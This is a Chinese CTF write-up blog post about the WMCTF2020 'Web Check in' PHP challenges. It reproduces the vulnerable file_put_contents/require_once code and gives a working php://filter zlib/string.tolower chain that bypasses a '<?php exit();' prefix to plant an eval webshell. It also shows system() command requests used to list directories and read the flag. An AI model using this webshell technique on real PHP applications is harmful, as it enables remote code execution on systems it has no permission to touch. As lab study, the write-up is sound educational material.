[WMCTF2020]Web Check in 2.0/1.0

本来是今天刷题的时候看到有道[WMCTF2020]Web Check in,分值还蛮高的,但做的时候怎么做都做不出来,然后看到有个[WMCTF2020]Web Check in 2.0,发现这道题才1分,感觉很神奇,2.0不应该是1.0的改进版吗,为什么2.0反而做出来的人多一点,于是就决定先来看下这个2.0,然后发现了一件有意思的事,是什么有意思的事捏,本文后面说。

一进入题目就是一大堆代码:

string(62) "Sandbox:/var/www/html/sandbox/c47b21fcf8f0bc8b3920541abd8024fd" <?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,'<?php exit();'.$content);

代码和Web Check in的一样,不清楚两道题有什么差别,那我们开始分析一下这个代码,这代码和我上一篇博客里写的那个hitcon的题挺像的,都是先根据remote_addr给每个人创建一个沙盒,然后把工作目录切换至该沙盒里,防止影响其他环境。然后我有一个参数content,里面过滤了一些方法比如base64、quoted之类的,然后检验到文件$content存在后,会require_once它,不过会在其中写入<?php exit();,看来考点就是这个死亡exit的绕过。

出题人Cyc1e师傅其实之前专门写过一篇关于file_put_contents的一些小测试,不过本题目嘛做了一些限制,文章里讲到了用base64或者rot通过编码绕过<?php exit();的方法,原理很有趣,你把你的正常代码进行编码然后用php://filter上传,网站会对他进行一次解码,我们正常的shell代码因为是编码的所以解码后就变成正常代码了,但<?php exit();解码出来就变成乱码了,自然可以愉快的get shell,但这里没了看来就是想让我们把思放在函数的特性以及其他过滤器的使用上,这里就直接套用出题人的话吧:

php:filter支持使用多个过滤器,参考官方文档 可用过滤器列表,还留下了字符串过滤器中的部分压缩过滤器以及加密过滤器,所以可以考虑从这几个过滤器入手,最好用的应该就是zlibzlib.deflatezlib.inflate,组合使用压缩后再解压后内容肯定不变,不过我们可以在中间遍历一下剩下的几个过滤器,看看中间进行什么操作会影响后续inflate的内容,简单遍历一下可以发现中间插入string.tolower转后会把空格和exit处理了就可以绕过exit

简单来说就是通过压缩和解压进行绕过

payload:

?content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=123.php

然后我们可以这样执行命令:

?content=123.php&1=system('ls /');

不过执行一次后这个文件就消失了,需要重新传一遍shell,失败了很多次,我终于蚁剑连上去了。当然只是为了get flag的话不用这么麻烦,先传一遍payload,然后ls就可以看到目录下的文件:

可以看到这个flag文件flag_2233_elkf3ifj34ij3orf3fk4,然后再次传payload,然后cat它即可:

?content=123.php&1=system('cat /flag_2233_elkf3ifj34ij3orf3fk4');

当然如果你已经知道flag的名字了,其实直接包含它就行了:

?content=/flag_2233_elkf3ifj34ij3orf3fk4

当然,因为我刚刚已经蚁剑连上去了,我们去看看那个shell文件到底长啥样

可以看到我们用协议直接处理掉了exit();把它变成了没有意义的乱码,这个死亡exit自然不会对我们的代码起作用了。

然后我满怀信心的的去做[WMCTF2020]Web Check in,这代码和2.0完全是一样的:

string(62) "Sandbox:/var/www/html/sandbox/c47b21fcf8f0bc8b3920541abd8024fd" <?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,'<?php exit();'.$content);
}

所以我认为我刚刚的payload肯定也能打的进去,但是同样的代码这里竟然就没法执行了,我很玉玉,去网上看其他人的wp,了解到当时这个Web Check in基本上被做成签到题了,因为当时出题人没改flag,flag名就是flag,所以直接?content=/flag就能包含,所以出题人当时出了个Web Check in 2.0,改变就是把flag名字改成随机的了,所以理论上这两道题环境是一样的,那为什么Web Check in 2能打通的payload在Web Check in里打不通了,我有理由怀疑是Buuoj的环境出问题了,正当我无奈时,突然发现我看的那篇buuoj刷题wp中这道题的flag名字有点眼熟,竟然也是flag_2233_elkf3ifj34ij3orf3fk4,所以buuoj平台上这道题flag名称压根就不是随机的,可能是套了个docker就开用了。

所以直接用

?content=/flag_2233_elkf3ifj34ij3orf3fk4

就可以成功包含了。

我有理论怀疑是平台出题的时候环境搞炸了,所以这个Web Check in做出来的人才这么少。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇